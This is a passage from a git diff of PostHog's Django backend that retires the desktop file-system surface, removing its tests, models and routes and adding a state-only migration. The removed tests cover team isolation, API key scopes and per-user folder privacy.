self.client.patch(self._canvas_url(item_id), {"code": "v1"}, HTTP_X_POSTHOG_TASK_ID=str(task.id)) - - self.assertFalse(self._thread_messages(task).exists()) - - @patch("products.tasks.backend.facade.api.posthoganalytics.feature_enabled", return_value=True) - def test_session_authenticated_publish_with_header_stays_silent(self, _flag): - # The header alone must not produce an agent announcement: a member setting it on - # an ordinary (session-authenticated) publish of their own task would otherwise - # forge a trusted-looking agent message. Only sandbox OAuth tokens qualify. - task = self._create_task() - item_id = self._create_dashboard() - - response = self.client.patch(self._canvas_url(item_id), {"code": "v1"}, HTTP_X_POSTHOG_TASK_ID=str(task.id)) - - self.assertEqual(response.status_code, status.HTTP_200_OK) - self.assertFalse(self._thread_messages(task).exists()) - - def test_publish_without_task_attribution_stays_silent(self): - item_id = self._create_dashboard() - - self.client.patch(self._canvas_url(item_id), {"code": "v1"}) - - TaskThreadMessage = apps.get_model("tasks", "TaskThreadMessage") - self.assertFalse(TaskThreadMessage.objects.for_team(self.team.id).exists()) - - def test_delete_canvas_removes_ref_less_dashboard_row(self): - # Desktop canvases are `dashboard`-typed rows with no ref; deleting one must not - # trip the "without a reference" guard meant for real object-backed rows. - item_id = self._create_dashboard() - - response = self.client.delete(f"/api/projects/{self.team.id}/desktop_file_system/{item_id}/") - - self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT, response.content) - self.assertFalse(FileSystem.objects.filter(id=item_id).exists()) - - def test_delete_channel_folder_cascades_to_ref_less_canvas(self): - # Deleting a channel folder cascades into its ref-less canvas children, which must - # bare-delete rather than raise in `_ensure_can_delete`. - item_id = self._create_dashboard(path="MyChannel/MyCanvas") - folder = FileSystem.objects.get(team=self.team, path="MyChannel", type="folder") - - response = self.client.delete(f"/api/projects/{self.team.id}/desktop_file_system/{folder.id}/") - - self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT, response.content) - self.assertFalse(FileSystem.objects.filter(id=folder.id).exists()) - self.assertFalse(FileSystem.objects.filter(id=item_id).exists()) - - def test_delete_ref_less_non_dashboard_registered_row_still_refused_on_desktop(self): - # The desktop ref-less exemption is scoped to `dashboard` canvases. Any other - # registered type with no ref is still a data-integrity error we refuse to delete. - file_obj = FileSystem.objects.create( - team=self.team, - path="MyChannel/OrphanInsight", - type="insight", - surface="desktop", - created_by=self.user, - ) - - response = self.client.delete(f"/api/projects/{self.team.id}/desktop_file_system/{file_obj.id}/") - - self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST, response.content) - self.assertEqual(response.json()["detail"], "Cannot delete type 'insight' without a reference.") - self.assertTrue(FileSystem.objects.filter(id=file_obj.id).exists()) diff --git a/posthog/api/file_system/test/test_file_system.py b/posthog/api/file_system/test/test_file_system.py index 8df18e048dfa..da49d1065ab1 100644 --- a/posthog/api/file_system/test/test_file_system.py +++ b/posthog/api/file_system/test/test_file_system.py @@ -2070,52 +2070,3 @@ def _prepare_early_access_feature_case(self): "ref": str(feature.id), "path": fs_entry.path, } - - -class TestDesktopFileSystemSurface(APIBaseTest): - def setUp(self): - super().setUp() - self.user.is_staff = True - self.user.save() - self.web_url = f"/api/projects/{self.team.id}/file_system/" - self.desktop_url = f"/api/projects/{self.team.id}/desktop_file_system/" - - def test_routes_serve_isolated_trees(self): - self.client.post(self.web_url, {"path": "Web only", "type": "doc"}) - self.client.post(self.desktop_url, {"path": "Desktop only", "type": "doc"}) - - web_paths = {r["path"] for r in self.client.get(self.web_url).json()["results"]} - desktop_paths = {r["path"] for r in self.client.get(self.desktop_url).json()["results"]} - - self.assertEqual(web_paths, {"Web only"}) - self.assertEqual(desktop_paths, {"Desktop only"}) - - def test_desktop_create_stamps_desktop_surface(self): - self.client.post(self.desktop_url, {"path": "Folder/Item", "type": "doc"}) - - surfaces = set(FileSystem.objects.filter(team=self.team).values_list("surface", flat=True)) - # Both the leaf and the auto-created parent folder are stamped "desktop". - self.assertEqual(surfaces, {"desktop"}) - - def test_desktop_list_returns_creator(self): - self.client.post(self.desktop_url, {"path": "Folder/Item", "type": "doc"}) - - [item] = [item for item in self.client.get(self.desktop_url).json()["results"] if item["type"] == "doc"] - - self.assertEqual(item["created_by"]["uuid"], str(self.user.uuid)) - - def test_desktop_list_returns_null_for_deleted_creator(self): - FileSystem.objects.create(team=self.team, path="Orphaned item", type="doc", surface="desktop", created_by=None) - - [item] = self.client.get(self.desktop_url).json()["results"] - - self.assertIsNone(item["created_by"]) - - def test_legacy_null_rows_appear_on_web_route_only(self): - FileSystem.objects.create(team=self.team, path="Legacy", type="doc", surface=None, created_by=self.user) - - web_paths = {r["path"] for r in self.client.get(self.web_url).json()["results"]} - desktop_paths = {r["path"] for r in self.client.get(self.desktop_url).json()["results"]} - - self.assertIn("Legacy", web_paths) - self.assertNotIn("Legacy", desktop_paths) diff --git a/posthog/api/file_system/test/test_file_system_shortcut.py b/posthog/api/file_system/test/test_file_system_shortcut.py index 43b747c99464..d199420f7e60 100644 --- a/posthog/api/file_system/test/test_file_system_shortcut.py +++ b/posthog/api/file_system/test/test_file_system_shortcut.py @@ -1,6 +1,5 @@ from datetime import timedelta -import pytest from posthog.test.base import APIBaseTest from django.utils import timezone @@ -177,70 +176,6 @@ def test_reorder_rejects_empty_list(self): self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) -class TestFileSystemShortcutSurface(APIBaseTest): - def setUp(self): - super().setUp() - self.web_url = f"/api/projects/{self.team.id}/file_system_shortcut/" - self.desktop_url = f"/api/projects/{self.team.id}/desktop_file_system_shortcut/" - - def test_routes_serve_isolated_shortcuts(self): - self.client.post(self.web_url, {"path": "Web pin", "type": "doc"}) - self.client.post(self.desktop_url, {"path": "Desktop pin", "type": "doc"}) - - web_paths = {r["path"] for r in self.client.get(self.web_url).json()["results"]} - desktop_paths = {r["path"] for r in self.client.get(self.desktop_url).json()["results"]} - - self.assertEqual(web_paths, {"Web pin"}) - self.assertEqual(desktop_paths, {"Desktop pin"}) - - def test_web_create_stamps_web_surface(self): - self.client.post(self.web_url, {"path": "Web pin", "type": "doc"}) - self.assertEqual( - FileSystemShortcut.objects.get(team=self.team, path="Web pin").surface, - "web", - ) - - def test_desktop_create_stamps_desktop_surface(self): - self.client.post(self.desktop_url, {"path": "Desktop pin", "type": "doc"}) - self.assertEqual( - FileSystemShortcut.objects.get(team=self.team, path="Desktop pin").surface, - "desktop", - ) - - def test_legacy_null_shortcut_appears_on_web_route_only(self): - FileSystemShortcut.objects.create(team=self.team, path="Legacy pin", type="doc", user=self.user, surface=None) - - web_paths = {r["path"] for r in self.client.get(self.web_url).json()["results"]} - desktop_paths = {r["path"] for r in self.client.get(self.desktop_url).json()["results"]} - - self.assertIn("Legacy pin", web_paths) - self.assertNotIn("Legacy pin", desktop_paths) - - def test_reorder_is_scoped_to_surface(self): - web = FileSystemShortcut.objects.create(team=self.team, path="Web", type="t", user=self.user, surface="web") - desktop = FileSystemShortcut.objects.create( - team=self.team, path="Desktop", type="t", user=self.user, surface="desktop" - ) - - # A desktop reorder must not recognise (or touch) a web shortcut id. - response = self.client.post( - f"{self.desktop_url}reorder/", - {"ordered_ids": [str(web.id)]}, - format="json", - ) - self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST, response.json()) - self.assertIn(str(web.id), response.json()["unknown_ids"]) - - # But it accepts its own surface's shortcut. - ok = self.client.post( - f"{self.desktop_url}reorder/", - {"ordered_ids": [str(desktop.id)]}, - format="json", - ) - self.assertEqual(ok.status_code, status.HTTP_200_OK, ok.json()) - - -@pytest.mark.ee class TestFileSystemShortcutAccessLevels(APIBaseTest): def setUp(self): super().setUp() diff --git a/posthog/api/file_system/test/test_folder_context_generation.py b/posthog/api/file_system/test/test_folder_context_generation.py deleted file mode 100644 index efb3cd64afa8..000000000000 --- a/posthog/api/file_system/test/test_folder_context_generation.py +++ /dev/null @@ -1,177 +0,0 @@ -from typing import TYPE_CHECKING, cast - -from posthog.test.base import APIBaseTest - -from django.apps import apps - -from parameterized import parameterized -from rest_framework import status - -from posthog.models import Organization, Team -from posthog.models.file_system.file_system import FileSystem - -if TYPE_CHECKING: - from products.tasks.backend.models import Task - - -class TestDesktopFolderContextGenerationAPI(APIBaseTest): - def setUp(self): - super().setUp() - # Staff gate mirrors the desktop/web file system beta gating. - self.user.is_staff = True - self.user.save() - - def _create_desktop_folder(self, path: str = "MyFolder") -> str: - response = self.client.post( - f"/api/projects/{self.team.id}/desktop_file_system/", - {"path": path, "type": "folder"}, - ) - self.assertEqual(response.status_code, status.HTTP_201_CREATED, response.json()) - return cast(str, response.json()["id"]) - - def _context_url(self, folder_id: str) -> str: - return f"/api/projects/{self.team.id}/desktop_file_system/{folder_id}/context_generation/" - - def _instructions_url(self, folder_id: str) -> str: - return f"/api/projects/{self.team.id}/desktop_file_system/{folder_id}/instructions/" - - def _create_task(self, team: Team | None = None) -> "Task": - Task = apps.get_model("tasks", "Task") - return Task.objects.create( - team=team or self.team, - title="Generate CONTEXT.md", - description="", - origin_product=Task.OriginProduct.USER_CREATED, - ) - - def test_get_returns_null_when_unset(self): - folder_id = self._create_desktop_folder() - response = self.client.get(self._context_url(folder_id)) - self.assertEqual(response.status_code, status.HTTP_200_OK, response.json()) - self.assertEqual(response.json(), {"task_id": None}) - - def test_put_sets_then_get_returns_it(self): - folder_id = self._create_desktop_folder() - task = self._create_task() - - put = self.client.put(self._context_url(folder_id), {"task_id": str(task.id)}, content_type="application/json") - self.assertEqual(put.status_code, status.HTTP_200_OK, put.json()) - self.assertEqual(put.json(), {"task_id": str(task.id)}) - - get = self.client.get(self._context_url(folder_id)) - self.assertEqual(get.json(), {"task_id": str(task.id)}) - - def test_put_null_clears(self): - folder_id = self._create_desktop_folder() - task = self._create_task() - self.client.put(self._context_url(folder_id), {"task_id": str(task.id)}, content_type="application/json") - - clear = self.client.put(self._context_url(folder_id), {"task_id": None}, content_type="application/json") - self.assertEqual(clear.status_code, status.HTTP_200_OK, clear.json()) - self.assertEqual(clear.json(), {"task_id": None}) - self.assertEqual(self.client.get(self._context_url(folder_id)).json(), {"task_id": None}) - - def test_put_overwrites_previous_value(self): - folder_id = self._create_desktop_folder() - first, second = self._create_task(), self._create_task() - - self.client.put(self._context_url(folder_id), {"task_id": str(first.id)}, content_type="application/json") - self.client.put(self._context_url(folder_id), {"task_id": str(second.id)}, content_type="application/json") - - self.assertEqual(self.client.get(self._context_url(folder_id)).json(), {"task_id": str(second.id)}) - - def test_publishing_new_instructions_version_clears_association(self): - folder_id = self._create_desktop_folder() - task = self._create_task() - self.client.put(self._context_url(folder_id), {"task_id": str(task.id)}, content_type="application/json") - - publish = self.client.patch(self._instructions_url(folder_id), {"content": "# Generated"}) - self.assertEqual(publish.status_code, status.HTTP_200_OK, publish.json()) - - self.assertEqual(self.client.get(self._context_url(folder_id)).json(), {"task_id": None}) - - @parameterized.expand( - [ - ("from_another_team", "foreign_task"), - ("malformed", "not-a-uuid"), - ] - ) - def test_setting_invalid_task_id_is_rejected(self, _name: str, task_id: str): - folder_id = self._create_desktop_folder() - if task_id == "foreign_task": - other_org = Organization.objects.create(name="Other Org") - other_team = Team.objects.create(organization=other_org, name="Other Team") - task_id = str(self._create_task(team=other_team).id) - - response = self.client.put(self._context_url(folder_id), {"task_id": task_id}, content_type="application/json") - self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST, response.json()) - - def test_deleting_instructions_clears_association(self): - folder_id = self._create_desktop_folder() - # Publish instructions so DELETE has something to soft-delete, then mark a generation in progress. - self.client.patch(self._instructions_url(folder_id), {"content": "# Generated"}) - task = self._create_task() - self.client.put(self._context_url(folder_id), {"task_id": str(task.id)}, content_type="application/json") - - delete = self.client.delete(self._instructions_url(folder_id)) - self.assertEqual(delete.status_code, status.HTTP_204_NO_CONTENT, delete.content) - - self.assertEqual(self.client.get(self._context_url(folder_id)).json(), {"task_id": None}) - - def test_cannot_access_folder_from_another_team(self): - other_org = Organization.objects.create(name="Other Org") - other_team = Team.objects.create(organization=other_org, name="Other Team") - other_folder = FileSystem.objects.create( - team=other_team, - path="Secret", - depth=1, - type="folder", - surface="desktop", - ) - - get = self.client.get(self._context_url(str(other_folder.id))) - self.assertEqual(get.status_code, status.HTTP_404_NOT_FOUND, get.json()) - - task = self._create_task() - put = self.client.put( - self._context_url(str(other_folder.id)), {"task_id": str(task.id)}, content_type="application/json" - ) - self.assertEqual(put.status_code, status.HTTP_404_NOT_FOUND, put.json()) - - def test_personal_api_key_can_read_and_set_context_generation(self): - folder_id = self._create_desktop_folder() - task = self._create_task() - key = self.create_personal_api_key_with_scopes(["file_system:write"]) - self.client.logout() - self.client.credentials(HTTP_AUTHORIZATION=f"Bearer {key}") - - get = self.client.get(self._context_url(folder_id)) - self.assertEqual(get.status_code, status.HTTP_200_OK, get.json()) - - put = self.client.put(self._context_url(folder_id), {"task_id": str(task.id)}, content_type="application/json") - self.assertEqual(put.status_code, status.HTTP_200_OK, put.json()) - self.assertEqual(put.json(), {"task_id": str(task.id)}) - - def test_personal_api_key_with_read_only_scope_cannot_set(self): - folder_id = self._create_desktop_folder() - task = self._create_task() - key = self.create_personal_api_key_with_scopes(["file_system:read"]) - self.client.logout() - self.client.credentials(HTTP_AUTHORIZATION=f"Bearer {key}") - - get = self.client.get(self._context_url(folder_id)) - self.assertEqual(get.status_code, status.HTTP_200_OK, get.json()) - - put = self.client.put(self._context_url(folder_id), {"task_id": str(task.id)}, content_type="application/json") - self.assertEqual(put.status_code, status.HTTP_403_FORBIDDEN, put.json()) - - def test_must_be_a_folder(self): - response = self.client.post( - f"/api/projects/{self.team.id}/desktop_file_system/", - {"path": "MyFolder/MyInsight", "type": "insight", "ref": "abc"}, - ) - self.assertEqual(response.status_code, status.HTTP_201_CREATED, response.json()) - item_id = response.json()["id"] - - get = self.client.get(self._context_url(item_id)) - self.assertEqual(get.status_code, status.HTTP_400_BAD_REQUEST, get.json()) diff --git a/posthog/api/file_system/test/test_folder_instructions.py b/posthog/api/file_system/test/test_folder_instructions.py deleted file mode 100644 index e12e86dda13c..000000000000 --- a/posthog/api/file_system/test/test_folder_instructions.py +++ /dev/null @@ -1,253 +0,0 @@ -from typing import cast -from uuid import UUID - -from posthog.test.base import APIBaseTest - -from rest_framework import status - -from posthog.api.file_system.folder_instructions_service import FOLDER_INSTRUCTIONS_MAX_BYTES -from posthog.models import Organization, Team, User -from posthog.models.file_system.file_system import FileSystem -from posthog.models.file_system.folder_instructions import FileSystemFolderInstructions - - -class TestDesktopFolderInstructionsAPI(APIBaseTest): - def setUp(self): - super().setUp() - # Staff gate mirrors the desktop/web file system beta gating. - self.user.is_staff = True - self.user.save() - - def _create_desktop_folder(self, path: str = "MyFolder") -> str: - response = self.client.post( - f"/api/projects/{self.team.id}/desktop_file_system/", - {"path": path, "type": "folder"}, - ) - self.assertEqual(response.status_code, status.HTTP_201_CREATED, response.json()) - return cast(str, response.json()["id"]) - - def _instructions_url(self, folder_id: str) -> str: - return f"/api/projects/{self.team.id}/desktop_file_system/{folder_id}/instructions/" - - def _folder_id_for_path(self, path: str) -> str: - return str(FileSystem.objects.get(team=self.team, surface="desktop", path=path, type="folder").id) - - def test_new_channel_gets_blank_instructions_automatically(self): - folder_id = self._create_desktop_folder() - response = self.client.get(self._instructions_url(folder_id)) - self.assertEqual(response.status_code, status.HTTP_200_OK, response.json()) - self.assertEqual(response.json()["version"], 1) - self.assertEqual(response.json()["content"], "") - self.assertEqual(response.json()["is_latest"], True) - - def test_nested_folder_creation_backfills_ancestor_instructions(self): - self._create_desktop_folder("A/B/C") - for path in ["A", "A/B", "A/B/C"]: - folder_id = self._folder_id_for_path(path) - response = self.client.get(self._instructions_url(folder_id)) - self.assertEqual(response.status_code, status.HTTP_200_OK, (path, response.json())) - self.assertEqual(response.json()["content"], "") - - def test_creating_item_gives_parent_folder_blank_instructions(self): - response = self.client.post( - f"/api/projects/{self.team.id}/desktop_file_system/", - {"path": "Parent/MyInsight", "type": "insight", "ref": "abc"}, - ) - self.assertEqual(response.status_code, status.HTTP_201_CREATED, response.json()) - - parent_id = self._folder_id_for_path("Parent") - get = self.client.get(self._instructions_url(parent_id)) - self.assertEqual(get.status_code, status.HTTP_200_OK, get.json()) - self.assertEqual(get.json()["content"], "") - - def test_publish_supersedes_blank_initial_version(self): - folder_id = self._create_desktop_folder() - - publish = self.client.patch( - self._instructions_url(folder_id), - {"content": "# Campaigns\n\nQ1 marketing assets."}, - ) - self.assertEqual(publish.status_code, status.HTTP_200_OK, publish.json()) - # The auto-created blank version is 1, so the first real edit publishes version 2. - self.assertEqual(publish.json()["version"], 2) - self.assertEqual(publish.json()["content"], "# Campaigns\n\nQ1 marketing assets.") - - get = self.client.get(self._instructions_url(folder_id)) - self.assertEqual(get.json()["content"], "# Campaigns\n\nQ1 marketing assets.") - self.assertEqual(get.json()["version"], 2) - - def test_publish_increments_and_supersedes(self): - folder_id = self._create_desktop_folder() - self.client.patch(self._instructions_url(folder_id), {"content": "first"}) - third = self.client.patch(self._instructions_url(folder_id), {"content": "second"}) - - self.assertEqual(third.status_code, status.HTTP_200_OK, third.json()) - self.assertEqual(third.json()["version"], 3) - - get = self.client.get(self._instructions_url(folder_id)) - self.assertEqual(get.json()["content"], "second") - - rows = FileSystemFolderInstructions.objects.unscoped().filter(folder_id=UUID(folder_id)).order_by("version") - self.assertEqual( - [(r.version, r.content, r.is_latest) for r in rows], - [(1, "", False), (2, "first", False), (3, "second", True)], - ) - - def test_versions_list_returns_history_newest_first(self): - folder_id = self._create_desktop_folder() - self.client.patch(self._instructions_url(folder_id), {"content": "v2"}) - self.client.patch(self._instructions_url(folder_id), {"content": "v3"}) - - response = self.client.get(self._instructions_url(folder_id) + "versions/") - self.assertEqual(response.status_code, status.HTTP_200_OK, response.json()) - body = response.json() - versions = body["results"] - self.assertEqual([v["version"] for v in versions], [3, 2, 1]) - # Version-history entries omit the markdown content (progressive disclosure). - self.assertNotIn("content", versions[0]) - - def test_publish_rejects_oversized_content(self): - folder_id = self._create_desktop_folder() - oversized = "x" * (FOLDER_INSTRUCTIONS_MAX_BYTES + 1) - response = self.client.patch(self._instructions_url(folder_id), {"content": oversized}) - self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST, response.json()) - - def test_optimistic_concurrency_conflict(self): - folder_id = self._create_desktop_folder() # auto-creates blank version 1 - - response = self.client.patch(self._instructions_url(folder_id), {"content": "stale", "base_version": 99}) - self.assertEqual(response.status_code, status.HTTP_409_CONFLICT, response.json()) - self.assertEqual(response.json()["current_version"], 1) - - def test_cannot_attach_instructions_to_non_folder(self): - response = self.client.post( - f"/api/projects/{self.team.id}/desktop_file_system/", - {"path": "MyFolder/MyInsight", "type": "insight", "ref": "abc"}, - ) - self.assertEqual(response.status_code, status.HTTP_201_CREATED, response.json()) - item_id = response.json()["id"] - - response = self.client.patch(self._instructions_url(item_id), {"content": "nope"}) - self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST, response.json()) - - def test_soft_delete_hides_instructions(self): - folder_id = self._create_desktop_folder() - self.client.patch(self._instructions_url(folder_id), {"content": "to delete"}) - - delete = self.client.delete(self._instructions_url(folder_id)) - self.assertEqual(delete.status_code, status.HTTP_204_NO_CONTENT) - - get = self.client.get(self._instructions_url(folder_id)) - self.assertEqual(get.status_code, status.HTTP_404_NOT_FOUND, get.json()) - - # A subsequent publish starts a fresh version 1 (soft-deleted rows are excluded). - republish = self.client.patch(self._instructions_url(folder_id), {"content": "again"}) - self.assertEqual(republish.status_code, status.HTTP_200_OK, republish.json()) - self.assertEqual(republish.json()["version"], 1) - - def test_delete_when_none_exist_returns_404(self): - # Folder created directly (not via the desktop API) has no auto-created instructions. - folder = FileSystem.objects.create( - team=self.team, - path="OrphanFolder", - depth=1, - type="folder", - surface="desktop", - ) - response = self.client.delete(self._instructions_url(str(folder.id))) - self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND, response.json()) - - def test_cannot_access_folder_from_another_team(self): - other_org = Organization.objects.create(name="Other Org") - other_team = Team.objects.create(organization=other_org, name="Other Team") - other_folder = FileSystem.objects.create( - team=other_team, - path="Secret", - depth=1, - type="folder", - surface="desktop", - ) - - response = self.client.patch(self._instructions_url(str(other_folder.id)), {"content": "leak"}) - self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND, response.json()) - - def test_me_folder_and_instructions_are_private_to_the_creator(self): - folder_id = self._create_desktop_folder("me") - self.client.patch(self._instructions_url(folder_id), {"content": "private"}) - child = FileSystem.objects.create( - team=self.team, - path="me/private-canvas", - depth=2, - type="dashboard", - surface="desktop", - created_by=self.user, - ) - - other_user = User.objects.create_and_join(self.organization, "other@posthog.com", "testpass") - other_user.is_staff = True - other_user.save() - self.client.force_login(other_user) - - listing = self.client.get(f"/api/projects/{self.team.id}/desktop_file_system/?type=folder") - self.assertNotIn(folder_id, [row["id"] for row in listing.json()["results"]]) - children = self.client.get(f"/api/projects/{self.team.id}/desktop_file_system/?parent=me") - self.assertNotIn(str(child.id), [row["id"] for row in children.json()["results"]]) - count = self.client.post(f"/api/projects/{self.team.id}/desktop_file_system/count_by_path?path=me") - self.assertNotIn(str(child.id), [row["id"] for row in count.json()["entries"]]) - self.assertEqual( - self.client.get(f"/api/projects/{self.team.id}/desktop_file_system/{child.id}/").status_code, - status.HTTP_404_NOT_FOUND, - ) - self.assertEqual(self.client.get(self._instructions_url(folder_id)).status_code, status.HTTP_404_NOT_FOUND) - self.assertEqual( - self.client.patch(self._instructions_url(folder_id), {"content": "leak"}).status_code, - status.HTTP_404_NOT_FOUND, - ) - - own_folder_id = self._create_desktop_folder("me") - self.assertNotEqual(own_folder_id, folder_id) - self.client.delete(f"/api/projects/{self.team.id}/desktop_file_system/{own_folder_id}/") - self.assertTrue(FileSystem.objects.filter(id=child.id).exists()) - - def test_personal_api_key_can_read_and_publish_instructions(self): - folder_id = self._create_desktop_folder() - key = self.create_personal_api_key_with_scopes(["file_system:write"]) - self.client.logout() - self.client.credentials(HTTP_AUTHORIZATION=f"Bearer {key}") - - url = self._instructions_url(folder_id) - - get = self.client.get(url) - self.assertEqual(get.status_code, status.HTTP_200_OK, get.json()) - - patch = self.client.patch(url, {"content": "hello"}, content_type="application/json") - self.assertEqual(patch.status_code, status.HTTP_200_OK, patch.json()) - self.assertEqual(patch.json()["content"], "hello") - - versions = self.client.get(url + "versions/") - self.assertEqual(versions.status_code, status.HTTP_200_OK, versions.json()) - - def test_personal_api_key_with_read_only_scope_cannot_publish(self): - folder_id = self._create_desktop_folder() - key = self.create_personal_api_key_with_scopes(["file_system:read"]) - self.client.logout() - self.client.credentials(HTTP_AUTHORIZATION=f"Bearer {key}") - - url = self._instructions_url(folder_id) - - get = self.client.get(url) - self.assertEqual(get.status_code, status.HTTP_200_OK, get.json()) - - patch = self.client.patch(url, {"content": "hello"}, content_type="application/json") - self.assertEqual(patch.status_code, status.HTTP_403_FORBIDDEN, patch.json()) - - def test_web_surface_has_no_instructions_action(self): - folder = FileSystem.objects.create( - team=self.team, - path="WebFolder", - depth=1, - type="folder", - surface="web", - ) - response = self.client.get(f"/api/projects/{self.team.id}/file_system/{folder.id}/instructions/") - self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND, response.json()) diff --git a/posthog/api/rest_router.py b/posthog/api/rest_router.py index 76354b84efca..60b6c33a1d95 100644 --- a/posthog/api/rest_router.py +++ b/posthog/api/rest_router.py @@ -209,13 +209,6 @@ def api_not_found(request): projects_router.register(r"file_system", file_system.FileSystemViewSet, "project_file_system", ["team_id"]) -projects_router.register( - r"desktop_file_system", - file_system.DesktopFileSystemViewSet, - "project_desktop_file_system", - ["team_id"], -) - projects_router.register( r"file_system_shortcut", file_system_shortcut.FileSystemShortcutViewSet, @@ -223,13 +216,6 @@ def api_not_found(request): ["team_id"], ) -projects_router.register( - r"desktop_file_system_shortcut", - file_system_shortcut.DesktopFileSystemShortcutViewSet, - "project_desktop_file_system_shortcut", - ["team_id"], -) - projects_router.register( r"user_product_list", diff --git a/posthog/migrations/1285_drop_desktop_file_system.py b/posthog/migrations/1285_drop_desktop_file_system.py new file mode 100644 index 000000000000..101d6fbb532c --- /dev/null +++ b/posthog/migrations/1285_drop_desktop_file_system.py @@ -0,0 +1,26 @@ +"""Retire the desktop file-system surface. + +The desktop tree's contents were migrated into first-class models by +``canvas.0003_migrate_desktop_tree`` (channels, canvases, channel +instructions, stars, task-channel backfill). This migration removes the old +models from Django state while leaving physical cleanup for a later deployment. +""" + +from django.db import migrations + + +class Migration(migrations.Migration): + dependencies = [ + ("posthog", "1284_organization_enforce_verified_domains"), + ("canvas", "0003_migrate_desktop_tree"), + ] + + operations = [ + migrations.SeparateDatabaseAndState( + database_operations=[], + state_operations=[ + migrations.DeleteModel(name="FileSystemFolderContextGeneration"), + migrations.DeleteModel(name="FileSystemFolderInstructions"), + ], + ) + ] diff --git a/posthog/migrations/max_migration.txt b/posthog/migrations/max_migration.txt index 36bd3ebbc3ec..6ead612b325b 100644 --- a/posthog/migrations/max_migration.txt +++ b/posthog/migrations/max_migration.txt @@ -1 +1 @@ -1284_organization_enforce_verified_domains +1285_drop_desktop_file_system diff --git a/posthog/models/__init__.py b/posthog/models/__init__.py index 1e8d74a3b30d..b0354024eedd 100644 --- a/posthog/models/__init__.py +++ b/posthog/models/__init__.py @@ -27,8 +27,6 @@ from products.event_definitions.backend.models import EventProperty from .role_external_reference import RoleExternalReference from .file_system.file_system import FileSystem -from .file_system.folder_context_generation import FileSystemFolderContextGeneration -from .file_system.folder_instructions import FileSystemFolderInstructions from .file_system.file_system_view_log import FileSystemViewLog from .file_system.persisted_folder import PersistedFolder from .file_system.user_product_list import UserProductList @@ -109,8 +107,6 @@ "EventProperty", "RoleExternalReference", "FileSystem", - "FileSystemFolderContextGeneration", - "FileSystemFolderInstructions", "FileSystemViewLog", "PersistedFolder", "UserProductList", diff --git a/posthog/models/file_system/constants.py b/posthog/models/file_system/constants.py index 002ee534dcbe..697b03a1979e 100644 --- a/posthog/models/file_system/constants.py +++ b/posthog/models/file_system/constants.py @@ -4,9 +4,6 @@ # stored as NULL; they are read as the default ("web"). New rows always store an explicit value. DEFAULT_SURFACE = "web" -# Surface for the desktop product tree, fully isolated from the default "web" tree. -DESKTOP_SURFACE = "desktop" - def surface_q(surface: str) -> Q: """Build the read filter for a surface. The default surface also matches legacy NULL rows.""" diff --git a/posthog/models/file_system/folder_context_generation.py b/posthog/models/file_system/folder_context_generation.py deleted file mode 100644 index 1d6040bdf4bc..000000000000 --- a/posthog/models/file_system/folder_context_generation.py +++ /dev/null @@ -1,26 +0,0 @@ -from django.db import models -from django.utils import timezone - -from posthog.models.file_system.file_system import FileSystem -from posthog.models.scoping.root_mixin import TeamScopedRootMixin -from posthog.models.utils import UUIDModel - - -class FileSystemFolderContextGeneration(TeamScopedRootMixin, UUIDModel): - """ - Tracks which Task is currently generating a folder's CONTEXT.md (folder instructions). - - Project-shared, per-(team, folder) marker so any user in the project sees the in-progress state. - Anchored on the folder rather than the instructions because the first generation runs before any - instructions exist. `task_id` references a Task in the same team; it is a plain UUID rather than a - FK because Task lives in the `tasks` product app and a `posthog -> tasks` FK would invert the app - dependency. Cleared (set to null) automatically when a new instructions version is published. - """ - - team = models.ForeignKey("posthog.Team", on_delete=models.CASCADE) - folder = models.OneToOneField(FileSystem, on_delete=models.CASCADE, related_name="context_generation") - - task_id = models.UUIDField(null=True, blank=True) - - created_at = models.DateTimeField(default=timezone.now) - updated_at = models.DateTimeField(auto_now=True) diff --git a/posthog/models/file_system/folder_instructions.py b/posthog/models/file_system/folder_instructions.py deleted file mode 100644 index c6ea7e65d6cb..000000000000 --- a/posthog/models/file_system/folder_instructions.py +++ /dev/null @@ -1,44 +0,0 @@ -from django.db import models -from django.db.models import Q -from django.utils import timezone - -from posthog.models.file_system.file_system import FileSystem -from posthog.models.scoping.root_mixin import TeamScopedRootMixin -from posthog.models.utils import UUIDModel - - -class FileSystemFolderInstructions(TeamScopedRootMixin, UUIDModel): - """ - A versioned markdown instructions blob attached to a single FileSystem folder. - - Each edit publishes a new row (incrementing `version`, flipping the previous `is_latest` - off), mirroring the skills store's versioning so history is preserved and auditable. - """ - - team = models.ForeignKey("posthog.Team", on_delete=models.CASCADE) - folder = models.ForeignKey(FileSystem, on_delete=models.CASCADE, related_name="instruction_versions") - - # The markdown instructions describing the contents of the folder. - content = models.TextField() - - version = models.PositiveIntegerField(default=1) - is_latest = models.BooleanField(default=True) - deleted = models.BooleanField(default=False) - - created_by = models.ForeignKey("posthog.User", on_delete=models.SET_NULL, null=True, blank=True) - created_at = models.DateTimeField(default=timezone.now) - updated_at = models.DateTimeField(auto_now=True) - - class Meta: - constraints = [ - models.UniqueConstraint( - fields=["folder", "version"], - condition=Q(deleted=False), - name="unique_folder_instructions_version", - ), - models.UniqueConstraint( - fields=["folder"], - condition=Q(deleted=False, is_latest=True), - name="unique_folder_instructions_latest", - ), - ] diff --git a/posthog/models/file_system/unfiled_file_saver.py b/posthog/models/file_system/unfiled_file_saver.py index cd3dc9b89abf..a0fcb376c35a 100644 --- a/posthog/models/file_system/unfiled_file_saver.py +++ b/posthog/models/file_system/unfiled_file_saver.py @@ -4,7 +4,7 @@ from django.utils import timezone -from posthog.models.file_system.constants import DEFAULT_SURFACE, DESKTOP_SURFACE +from posthog.models.file_system.constants import DEFAULT_SURFACE from posthog.models.file_system.file_system import FileSystem, escape_path, split_path from posthog.models.file_system.file_system_mixin import FileSystemSyncMixin from posthog.models.team import Team @@ -22,7 +22,6 @@ from products.notebooks.backend.models import Notebook from products.product_analytics.backend.models.insight import Insight from products.surveys.backend.models import Survey -from products.tasks.backend.facade.file_system import Task MIXIN_MODELS: dict[str, type[FileSystemSyncMixin]] = { 